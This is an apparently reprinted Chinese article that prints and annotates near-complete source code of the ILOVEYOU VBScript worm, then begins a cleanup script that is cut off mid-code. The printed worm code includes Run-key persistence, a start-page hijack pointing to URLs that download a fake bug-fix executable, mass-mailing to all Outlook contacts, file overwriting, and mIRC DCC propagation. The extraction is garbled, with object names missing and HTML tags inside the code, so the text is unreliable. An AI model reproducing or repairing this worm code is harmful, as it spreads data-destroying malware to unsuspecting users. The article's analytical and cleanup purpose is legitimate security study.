admin 管理员组

文章数量: 1087139


2024年5月17日发(作者:jconsole jvisualvm)

“爱虫(I Loveyou)”病毒代码解析和杀毒方法

中国代码联盟 黄冬 李文武

近来在网上出现了“我爱你”病毒,让人们恐慌一时,而它在国

内却没有出现

什么问题,到现在我也没有听到有哪位计算机使用者说自己被爱到至

死。究其原因

是什么?而“我爱你” 病毒到底是什么?难道说是我国的计算机防

毒水平和计算

机杀毒软件的水平已经到了世界领先的水平?我们来细细看看它的

原因就明白其中

的道理了。另:笔者写本文完全是为了学术作用,请不要将此病毒代

码用于破坏之

目的。

首先让我们来看一看我爱你病毒的来源。有一天你会收到一封邮

件,它的主题

是“I Love You”(如果细细读读它的程序,这个主题其实可以并不是

I Love

You),在它的信中带有了一个叫“ ”的附件,而这个附

件将是病毒

的根源。下面这段是“我爱你”病毒的所有的源代码,其中加入了我

的注释(大多

数的vbs的语法大家可以到wsh中去查、我在函数调用的地方写明了

这些函数的说明

,具体实现可以到函数体中去找):

Rem

===========================================================

============

Rem 本文件为病毒样本,供学习之用,原文件中扫描文件进行感染

部分被我注释掉

Rem 请勿将本文件用作破坏之目的。 white (***************)

hd(hd@email.

)

Rem

===========================================================

============

On Error Resume Next

dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow

eq=""

ctr=0

Set fso = CreateObject("stemObject")

set file = xtFile(Fullname,1)

vbscopy=l

main()

sub main()

On Error Resume Next

dim wscr,rr

set wscr=CreateObject("")

rr=d("HKEY_CURRENT_USERSoftwareMicrosoftWindows

Scripting

HostSettingsTimeout")

if (rr>=1) then

te

Scripting

HostSettingsTimeout",0,"REG_DWORD"

end if

Set dirwin = cialFolder(0)

Set dirsystem = cialFolder(1)

Set dirtemp = cialFolder(2)

Set c = e(FullName)

"HKEY_CURRENT_USERSoftwareMicrosoftWindows

(dirsystem&"")

(dirwin&"")

(dirsystem&"") '上面三句将自身

复制成三

个文件

regruns() '如果系统为win98,设IE的起始页为四个URL之一,以下

载一个叫

的文件, '并将其设为系统启动时自动执行的程序,

看起来好象

是一个补丁程序

html() '为OUTLOOK用户生成一个含病毒代码的HTML文件

LOVE-LETTER-FOR-YOU.

HTM, '该HTML文件里包含一段JAVASCRIPT,打开时脚本被执行,

病毒体被写入文

件, 同时被设成

'系统启动时自动执行

spreadtoemail() '为OUTLOOK里的所有联系人发一封包含上面那个文

件的邮件

listadriv() '扫描整个磁盘,将后缀为.vbs, ..vbe的文件换成自身,将后

缀为

.js, .jse, .css, .wsh, .sct, .hta, '的文件改后缀为vbs并写入自身,同时删

除原有文件,将后缀为.jpg,.jpeg的在文件名后加.vbs后,写入 '自身,

将后缀为

.mp3,mp2的文件名后加.vbs并写入自身,同时将文件属性改为隐藏

文件, '如果发

现有mIRC,将改写,使得mIRC向所有频道里的人发送刚才的

html文件。

end sub

sub regruns()

On Error Resume Next

Dim num,downread

regcreate

"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion

RunMSKern

册表中的加载项一些软件可以写入到这里后实现开机运行

el32",dirs

ystem&""

regcreate

"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion

RunService

册表中的加载项一些软件可以写入到这里后实现开机运行

sWin32DLL

",dirwin&""

downread=""

downread=regget("HKEY_CURRENT_USERSoftwareMicrosoftInternet

ExplorerDownload

Directory")

if (downread="") then

downread="c:"

end if

if (fileexist(dirsystem&"")=1) then

Randomize

num = Int((4 * Rnd) + 1)

if num = 1 then

regcreate "HKCUSoftwareMicrosoftInternet

ExplorerMainStartPage","t.

net/~young1s/HJKhjnwerhjkxcvytwertnMT

FwetrdsfmhPnjw6587345gvsdf7679njbvYT/"

elseif num = 2 then

regcreate "HKCUSoftwareMicrosoftInternet

ExplorerMainStartPage","t.

net/~angelcat/skladjflfdjghKJnwetryDG

FikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/

e"

elseif num = 3 then

regcreate "HKCUSoftwareMicrosoftInternet

ExplorerMainStartPage","t.

net/~koichi/jf6TRjkcbGRpGqaq198vbFV5h

fFEkbopBdQZnmPOhfgER67b3Vbvg/"

elseif num = 4 then

regcreate "HKCUSoftwareMicrosoftInternet

ExplorerMainStartPage","t.

net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwt

uHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw

237461234iuy

7thjg/WIN-

"

end if

end if

if (fileexist(downread&"")=0) then

regcreate

"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion

RunWIN-BU

注册表中的加载项一些软件可以写入到这里后实现开机运行

GSFIX",dow

nread&""

regcreate

"HKEY_CURRENT_USERSoftwareMicrosoftInternetExplorerMainStar

tPage",

"about:blan

k"

end if

end sub

sub listadriv

On Error Resume Next

Dim d,dc,s

Set dc =

For Each d in dc

If ype = 2 or ype=3 Then

folderlist(&"")

end if

Next

listadriv = s

end sub

sub infectfiles(folderspec)

On Error Resume Next

dim f,f1,fc,ext,ap,mircfname,s,bname,mp3

set f = der(folderspec)

set fc =

for each f1 in fc

ext=ensionName()

ext=lcase(ext)

s=lcase()

if (ext="vbs") or (ext="vbe") then

set ap=xtFile(,2,true)

vbscopy

elseif (ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or

(ext="sct") or

(ext="hta") then

set ap=xtFile(,2,true)

vbscopy

bname=eName()

set cop=e()

(folderspec&""&bname&".vbs")

File()

elseif (ext="jpg") or (ext="jpeg") then

set ap=xtFile(,2,true)

vbscopy

set cop=e()

(&".vbs")

File()

elseif (ext="mp3") or (ext="mp2") then

set mp3=TextFile(&".vbs")

vbscopy

set att=e()

utes=utes+2

end if

if (eq<>folderspec) then

if (s="") or (s="") or (s="") or

(s="") or

(s="") then

set scriptini=TextFile(folderspec&"")

ine "[script]"

ine ";mIRC Script"

ine "; Please dont edit mIRC will

corrupt,if mIRC

will"

ine " WINDOWS will affect and will not run

correctly.

thanks"

ine ";"

ine ";Khaled Mardam-Bey"

ine ";"

ine ";"

ine "n0=on 1:JOIN:#:{"

ine "n1= /if ( $nick == $me ) { halt }"

ine "n2= /.dcc send

$nick"&dirsystem&""

ine "n3=}"

eq=folderspec

end if

end if

next

end sub

sub folderlist(folderspec)

On Error Resume Next

dim f,f1,sf

set f = der(folderspec)

set sf = ders

for each f1 in sf

'infectfiles()

Rem

===========================================================

====

Rem 注意,上面这行被注释掉了,请千万不要玩火,否则您的文件

将找不回来

Rem

===========================================================

=====

folderlist()

next

end sub

sub regcreate(regkey,regvalue)

Set regedit = CreateObject("")

te regkey,regvalue

end sub

function regget(value)

Set regedit = CreateObject("")

regget=d(value)

end function

function fileexist(filespec)

On Error Resume Next

dim msg

if (ists(filespec)) Then

msg = 0

else

msg = 1

end if

fileexist = msg

end function

function folderexist(folderspec)

On Error Resume Next

dim msg

if (derExists(folderspec)) then

msg = 0

else

msg = 1

end if

fileexist = msg

end function

sub spreadtoemail()

On Error Resume Next

dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad

set regedit=CreateObject("")

set out=Object("ation")

set mapi=eSpace("MAPI")

for ctrlists=1 to

set a=sLists(ctrlists)

x=1

regv=d("HKEY_CURRENT_USERSoftwareMicrosoftWAB

"&a)

if (regv="") then

regv=1

end if

if (int()>int(regv)) then

for ctrentries=1 to

malead=sEntries(x)

regad=""

regad=regedit.

RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWAB"&malead)

if (regad="") then

set male=Item(0)

(malead)

t = "ILOVEYOU"

= vbcrlf&"kindly check the attached LOVELETTER coming from

me."

(dirsystem&"")

te

"HKEY_CURRENT_USERSoftwareMicrosoftWAB"&malead,1,

"REG_DWORD"

end if

x=x+1

next

te

"HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a,sEntries.

Count

else

te

"HKEY_CURRENT_USERSoftwareMicrosoftWAB"&a,sEntries.

Count

end if

next

Set out=Nothing

Set mapi=Nothing

end sub

sub html

On Error Resume Next

dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6

dta1="LOVELETTER - </p><p style="text-indent: 2em;font-size:18px;">HTML<?-?TITLE><METANAME=@-@Generator@-@ </p><p style="text-indent: 2em;font-size:18px;">CONTENT=@-@BAROK VBS - </p><p style="text-indent: 2em;font-size:18px;">LOVELETTER@-@>"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">"<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? </p><p style="text-indent: 2em;font-size:18px;">**************** </p><p style="text-indent: 2em;font-size:18px;">-@GRAMMERSoft </p><p style="text-indent: 2em;font-size:18px;">Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"<META NAME=@-@Description@-@ CONTENT=@-@simple but i think </p><p style="text-indent: 2em;font-size:18px;">this is </p><p style="text-indent: 2em;font-size:18px;">@-@>"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"<?-?HEAD><BODY </p><p style="text-indent: 2em;font-size:18px;">ONMOUSEOUT=@*************=#-#main#-#;window.</p><p style="text-indent: 2em;font-size:18px;">open(#-##-#,#-# </p><p style="text-indent: 2em;font-size:18px;">main#-#)@-@ "&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"ONKEYDOWN=@*************=#-#main#-#;window.</p><p style="text-indent: 2em;font-size:18px;">open(#-##-#,#-# </p><p style="text-indent: 2em;font-size:18px;">main#-#)@-@ BGPROPERTIES=@-@fixed@-@ </p><p style="text-indent: 2em;font-size:18px;">BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To </p><p style="text-indent: 2em;font-size:18px;">Enable to read this HTML file<BR>- Please press #-#YES#-# button to </p><p style="text-indent: 2em;font-size:18px;">Enable </p><p style="text-indent: 2em;font-size:18px;">ActiveX<?-?p>"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ </p><p style="text-indent: 2em;font-size:18px;">BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQ</p><p style="text-indent: 2em;font-size:18px;">U </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">EE&g </p><p style="text-indent: 2em;font-size:18px;">t;"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"<?-?BODY><?-?HTML>"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"<SCRIPT language=@-@JScript@-@>"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"<!--?-??-?"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"if (){var wi=idth;var </p><p style="text-indent: 2em;font-size:18px;">hi=eight;(0,0);To(wi,hi); </p><p style="text-indent: 2em;font-size:18px;">}"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"?-??-?-->"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"<?-?SCRIPT>"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"<!--"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"on error resume next"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"aw=1"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"code=" </p><p style="text-indent: 2em;font-size:18px;">dta2="set </p><p style="text-indent: 2em;font-size:18px;">fso=CreateObject(@****************************@-@)"&vbcrlf& </p><p style="text-indent: 2em;font-size:18px;">_ </p><p style="text-indent: 2em;font-size:18px;">"set dirsystem=cialFolder(1)"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"set wri=TextFile(dirsystem&@-@^-^MSKernel32. </p><p style="text-indent: 2em;font-size:18px;">vbs@-@)"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">" code4"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">""&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"if </p><p style="text-indent: 2em;font-size:18px;">then"&vbcrlf& </p><p style="text-indent: 2em;font-size:18px;">_ </p><p style="text-indent: 2em;font-size:18px;">"if (=424) then"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"aw=0"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"end if"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"if (aw=1) then"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">" @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">""&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"end if"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"end if"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"Setregedit=CreateObject(@***************@-@)"&vbcrlf&_</p><p style="text-indent: 2em;font-size:18px;">"te </p><p style="text-indent: 2em;font-size:18px;">@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^Cu</p><p style="text-indent: 2em;font-size:18px;">rrentVersion^ </p><p style="text-indent: 2em;font-size:18px;">-^Run^-^MS </p><p style="text-indent: 2em;font-size:18px;">Kernel32@-@,dirsystem&@-@^-^@-@"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">(ists(dirsystem&@-@^-^@-@)) </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">"?-??-?-->"&vbcrlf& _ </p><p style="text-indent: 2em;font-size:18px;">"<?-?SCRIPT>" </p><p style="text-indent: 2em;font-size:18px;">dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'") </p><p style="text-indent: 2em;font-size:18px;">dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""") </p><p style="text-indent: 2em;font-size:18px;">dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/") </p><p style="text-indent: 2em;font-size:18px;">dt5=replace(dt4,chr(94)&chr(45)&chr(94),"") </p><p style="text-indent: 2em;font-size:18px;">dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'") </p><p style="text-indent: 2em;font-size:18px;">dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""") </p><p style="text-indent: 2em;font-size:18px;">dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/") </p><p style="text-indent: 2em;font-size:18px;">dt6=replace(dt3,chr(94)&chr(45)&chr(94),"") </p><p style="text-indent: 2em;font-size:18px;">set fso=CreateObject("stemObject") </p><p style="text-indent: 2em;font-size:18px;">set c=xtFile(FullName,1) </p><p style="text-indent: 2em;font-size:18px;">lines=Split(l,vbcrlf) </p><p style="text-indent: 2em;font-size:18px;">l1=ubound(lines) </p><p style="text-indent: 2em;font-size:18px;">for n=0 to ubound(lines) </p><p style="text-indent: 2em;font-size:18px;">lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91)) </p><p style="text-indent: 2em;font-size:18px;">lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) </p><p style="text-indent: 2em;font-size:18px;">lines(n)=replace(lines(n),"",chr(37)+chr(45)+chr(37)) </p><p style="text-indent: 2em;font-size:18px;">if (l1=n) then </p><p style="text-indent: 2em;font-size:18px;">lines(n)=chr(34)+lines(n)+chr(34) </p><p style="text-indent: 2em;font-size:18px;">else </p><p style="text-indent: 2em;font-size:18px;">lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">next </p><p style="text-indent: 2em;font-size:18px;">set b=TextFile(dirsystem+"") </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">set d=xtFile(dirsystem+"",2) </p><p style="text-indent: 2em;font-size:18px;"> dt5 </p><p style="text-indent: 2em;font-size:18px;"> join(lines,vbcrlf) </p><p style="text-indent: 2em;font-size:18px;"> vbcrlf </p><p style="text-indent: 2em;font-size:18px;"> dt6 </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;"> 看完了病毒的全部代码是不是大家不敢相信这三百行的</p><p style="text-indent: 2em;font-size:18px;">VisualBasic语句就把 </p><p style="text-indent: 2em;font-size:18px;">一台“活生生”的计算机搞的“人不像人,鬼不像鬼”。是呀,由于</p><p style="text-indent: 2em;font-size:18px;">现在的脚本语 </p><p style="text-indent: 2em;font-size:18px;">言的流行,以及 Mircrsoft推出的WSH(Windows Script Hosting),更让</p><p style="text-indent: 2em;font-size:18px;">这些脚本 </p><p style="text-indent: 2em;font-size:18px;">语言可以在任何一台计算机上兴风作浪。WSH是一个能让VisualBasic </p><p style="text-indent: 2em;font-size:18px;">Script和 </p><p style="text-indent: 2em;font-size:18px;">JScript脚本能在Windows环境下如命令行的批处理文件(bat文件)</p><p style="text-indent: 2em;font-size:18px;">一样运行的一 </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">个服务。 它可以让Script去创建一个Windows里的 COM/OLE对象,</p><p style="text-indent: 2em;font-size:18px;">并去使用这些对 </p><p style="text-indent: 2em;font-size:18px;">象里的方法、属性和事件。在上述程序中有这样一段: set </p><p style="text-indent: 2em;font-size:18px;">regedit=CreateObject("") </p><p style="text-indent: 2em;font-size:18px;">set out=Object("ation") </p><p style="text-indent: 2em;font-size:18px;">set mapi=eSpace("MAPI") </p><p style="text-indent: 2em;font-size:18px;">for ctrlists=1 to </p><p style="text-indent: 2em;font-size:18px;">set a=sLists(ctrlists) </p><p style="text-indent: 2em;font-size:18px;">它就是调用了这个COM组件来操作注册表,调用</p><p style="text-indent: 2em;font-size:18px;">Outlook. </p><p style="text-indent: 2em;font-size:18px;">Application对像来操作Outlook(由于Outlook Express在最近的几个</p><p style="text-indent: 2em;font-size:18px;">版本中已经 </p><p style="text-indent: 2em;font-size:18px;">越来越像Outlook了,所以对一些版本它也会影响到Outlook Express)。</p><p style="text-indent: 2em;font-size:18px;">调用了 </p><p style="text-indent: 2em;font-size:18px;">MAPI组件来得到地址和发送邮件,在Outlook Express 4.0之后也提供</p><p style="text-indent: 2em;font-size:18px;">了MAPI组件 </p><p style="text-indent: 2em;font-size:18px;">,所以无论你是安装了Outlook或是Outlook Express都会被调用来发</p><p style="text-indent: 2em;font-size:18px;">出大量的邮件 </p><p style="text-indent: 2em;font-size:18px;">。如果你是一名熟悉哪简单的VBA(Visual Basic Application用于 Word</p><p style="text-indent: 2em;font-size:18px;">的宏脚本 </p><p style="text-indent: 2em;font-size:18px;">),哪么这段小程序就一眼看懂了。所以,这么想想,这爱大家的病</p><p style="text-indent: 2em;font-size:18px;">毒原来也与 </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">Word/Office宏病毒差不多哟。 </p><p style="text-indent: 2em;font-size:18px;"> 所以这么一说,这爱大家的病毒需要有一个好的环境才能生存</p><p style="text-indent: 2em;font-size:18px;">的: </p><p style="text-indent: 2em;font-size:18px;"> .要是Windows 95 SR2以上的操作系统(Windows NT4安装了</p><p style="text-indent: 2em;font-size:18px;">Option Pack4) </p><p style="text-indent: 2em;font-size:18px;"> .要使用Outlook或是高版本的Outlook Express来收信 </p><p style="text-indent: 2em;font-size:18px;"> .要能收到这个带有病毒的Mail </p><p style="text-indent: 2em;font-size:18px;"> 这也就是国内为什么这个病毒没有大量发作的原因了,首先国内</p><p style="text-indent: 2em;font-size:18px;">的Mail几大量 </p><p style="text-indent: 2em;font-size:18px;">使用了Web Mail,而这样的Mail系统没有到达客户的计算机上所以</p><p style="text-indent: 2em;font-size:18px;">也就不可能发作 </p><p style="text-indent: 2em;font-size:18px;">了。再就是国内使用了众多的非Outlook/Outlook Express高版本这样</p><p style="text-indent: 2em;font-size:18px;">的Mail </p><p style="text-indent: 2em;font-size:18px;">Client,所以受害者也少。 </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;"> 好了,哪么了解其原理,笔者给大家一个练习的机会,我们“以</p><p style="text-indent: 2em;font-size:18px;">毒攻毒”,用 </p><p style="text-indent: 2em;font-size:18px;">同样的技术来写一段程序,大家可以用这样的程序来攻击“我爱你”。 </p><p style="text-indent: 2em;font-size:18px;">rem I love You virus 清除程序 </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow </p><p style="text-indent: 2em;font-size:18px;">dim logfile </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">eq="" </p><p style="text-indent: 2em;font-size:18px;">ctr=0 </p><p style="text-indent: 2em;font-size:18px;">Set fso = CreateObject("stemObject") </p><p style="text-indent: 2em;font-size:18px;">Set logfile = xtFile(".",8,True) </p><p style="text-indent: 2em;font-size:18px;">ine now </p><p style="text-indent: 2em;font-size:18px;">main() </p><p style="text-indent: 2em;font-size:18px;">sub main() </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">dim wscr,rr </p><p style="text-indent: 2em;font-size:18px;">set wscr=CreateObject("") </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;"> "Running clean up script. There will be several messages </p><p style="text-indent: 2em;font-size:18px;">along the </p><p style="text-indent: 2em;font-size:18px;">way." </p><p style="text-indent: 2em;font-size:18px;"> "You will get a 'Clean up done.' message when it is </p><p style="text-indent: 2em;font-size:18px;">finished." </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">rr=d("HKEY_CURRENT_USERSoftwareMicrosoftWindows </p><p style="text-indent: 2em;font-size:18px;">Scripting </p><p style="text-indent: 2em;font-size:18px;">HostSettingsTimeout") </p><p style="text-indent: 2em;font-size:18px;">if (rr>=1) then </p><p style="text-indent: 2em;font-size:18px;">te "HKEY_CURRENT_USERSoftwareMicrosoftWindows </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">Scripting </p><p style="text-indent: 2em;font-size:18px;">HostSettingsTimeout",0,"REG_DWORD" </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">Set dirwin = cialFolder(0) </p><p style="text-indent: 2em;font-size:18px;">Set dirsystem = cialFolder(1) </p><p style="text-indent: 2em;font-size:18px;">Set dirtemp = cialFolder(2) </p><p style="text-indent: 2em;font-size:18px;"> "delete files that might have been created . . ." </p><p style="text-indent: 2em;font-size:18px;">ine "delete files that might have been created . . ." </p><p style="text-indent: 2em;font-size:18px;">Set c = e(dirsystem&"") </p><p style="text-indent: 2em;font-size:18px;"> True </p><p style="text-indent: 2em;font-size:18px;">Set c = GetFile(dirwin&"") </p><p style="text-indent: 2em;font-size:18px;"> True </p><p style="text-indent: 2em;font-size:18px;">Set c = GetFile(dirsystem&"") </p><p style="text-indent: 2em;font-size:18px;"> True </p><p style="text-indent: 2em;font-size:18px;"> "clean up run-at-boot and IE start page registry entries . </p><p style="text-indent: 2em;font-size:18px;"> .. ." </p><p style="text-indent: 2em;font-size:18px;">ine "clean up run-at-boot and IE start page registry </p><p style="text-indent: 2em;font-size:18px;">entries . . ." </p><p style="text-indent: 2em;font-size:18px;">regruns() </p><p style="text-indent: 2em;font-size:18px;"> "delete html file(s) that might have been created . . ." </p><p style="text-indent: 2em;font-size:18px;">ine "delete html file(s) that might have been created . . </p><p style="text-indent: 2em;font-size:18px;"> .." </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">html() </p><p style="text-indent: 2em;font-size:18px;"> "clean up e-mail related registry entries . . ." </p><p style="text-indent: 2em;font-size:18px;">ine "clean up e-mail related registry entries . . ." </p><p style="text-indent: 2em;font-size:18px;">spreadtoemail() </p><p style="text-indent: 2em;font-size:18px;"> "rescan same drive and folder list as original virus to </p><p style="text-indent: 2em;font-size:18px;">detect </p><p style="text-indent: 2em;font-size:18px;">infected files . . ." </p><p style="text-indent: 2em;font-size:18px;">ine "rescan same drive and folder list as original virus </p><p style="text-indent: 2em;font-size:18px;">to detect </p><p style="text-indent: 2em;font-size:18px;">infected files . . ." </p><p style="text-indent: 2em;font-size:18px;">listadriv() </p><p style="text-indent: 2em;font-size:18px;"> "Clean up done." </p><p style="text-indent: 2em;font-size:18px;">ine "Clean up done." </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">sub regruns() </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">Dim num,downread </p><p style="text-indent: 2em;font-size:18px;">regdelete </p><p style="text-indent: 2em;font-size:18px;">"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion</p><p style="text-indent: 2em;font-size:18px;">RunMSKern </p><p style="text-indent: 2em;font-size:18px;">el32" </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">regdelete </p><p style="text-indent: 2em;font-size:18px;">"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion</p><p style="text-indent: 2em;font-size:18px;">RunService </p><p style="text-indent: 2em;font-size:18px;">sWin32DLL </p><p style="text-indent: 2em;font-size:18px;">" </p><p style="text-indent: 2em;font-size:18px;">downread=regget("HKEY_CURRENT_USERSoftwareMicrosoftInternet </p><p style="text-indent: 2em;font-size:18px;">ExplorerDownload </p><p style="text-indent: 2em;font-size:18px;">Directory") </p><p style="text-indent: 2em;font-size:18px;">regwrite "HKCUSoftwareMicrosoftInternet ExplorerMainStart </p><p style="text-indent: 2em;font-size:18px;">Page","intraweb" </p><p style="text-indent: 2em;font-size:18px;">regdelete </p><p style="text-indent: 2em;font-size:18px;">"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion</p><p style="text-indent: 2em;font-size:18px;">RunWIN-BU </p><p style="text-indent: 2em;font-size:18px;">GSFIX" </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">sub listadriv </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">Dim d,dc,s </p><p style="text-indent: 2em;font-size:18px;">Set dc = </p><p style="text-indent: 2em;font-size:18px;">For Each d in dc </p><p style="text-indent: 2em;font-size:18px;">If ype = 2 or ype=3 Then </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;"> " scanning drive " & </p><p style="text-indent: 2em;font-size:18px;">ine " scanning drive " & </p><p style="text-indent: 2em;font-size:18px;">folderlist(&"") </p><p style="text-indent: 2em;font-size:18px;">end if </p><p style="text-indent: 2em;font-size:18px;">Next </p><p style="text-indent: 2em;font-size:18px;">listadriv = s </p><p style="text-indent: 2em;font-size:18px;">end sub </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">sub infectfiles(folderspec) </p><p style="text-indent: 2em;font-size:18px;">On Error Resume Next </p><p style="text-indent: 2em;font-size:18px;">dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 </p><p style="text-indent: 2em;font-size:18px;">dim line, ret </p><p style="text-indent: 2em;font-size:18px;">set f = der(folderspec) </p><p style="text-indent: 2em;font-size:18px;">set fc = </p><p style="text-indent: 2em;font-size:18px;">for each f1 in fc </p><p style="text-indent: 2em;font-size:18px;">ext=ensionName() </p><p style="text-indent: 2em;font-size:18px;">ext=lcase(ext) </p><p style="text-indent: 2em;font-size:18px;">s=lcase() </p><p style="text-indent: 2em;font-size:18px;">if (ext="vbs") or (ext="vbe") then </p><p style="text-indent: 2em;font-size:18px;">set ap=xtFile(,1) </p><p style="text-indent: 2em;font-size:18px;">line = ne </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;"> </p><p style="text-indent: 2em;font-size:18px;">If Left(line,27) = "rem barok -loveletter(vbe)" Then </p><p style="text-indent: 2em;font-size:18px;">set cop=e() </p><p style="text-indent: 2em;font-size:18px;">(&".infected") </p><p style="text-indent: 2em;font-size:18px;"> true </p><p style="text-indent: 2em;font-size:18px;"> "moved "&&" to " & & ".infected" </p><p style="text-indent: 2em;font-size:18px;">ine "moved " & & " to " & & ".infected" </p><p style="text-indent: 2em;font-size:18px;">End If </p><p style="text-indent: 2em;font-size:18px;">elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or </p><p style="text-indent: 2em;font-size:18px;">(ext="sct") or </p><p style="text-indent: 2em;font-size:18px;">(ext="hta") then </p><p style="text-indent: 2em;font-size:18px;">set ap=xtFile(,1) </p><p style="text-indent: 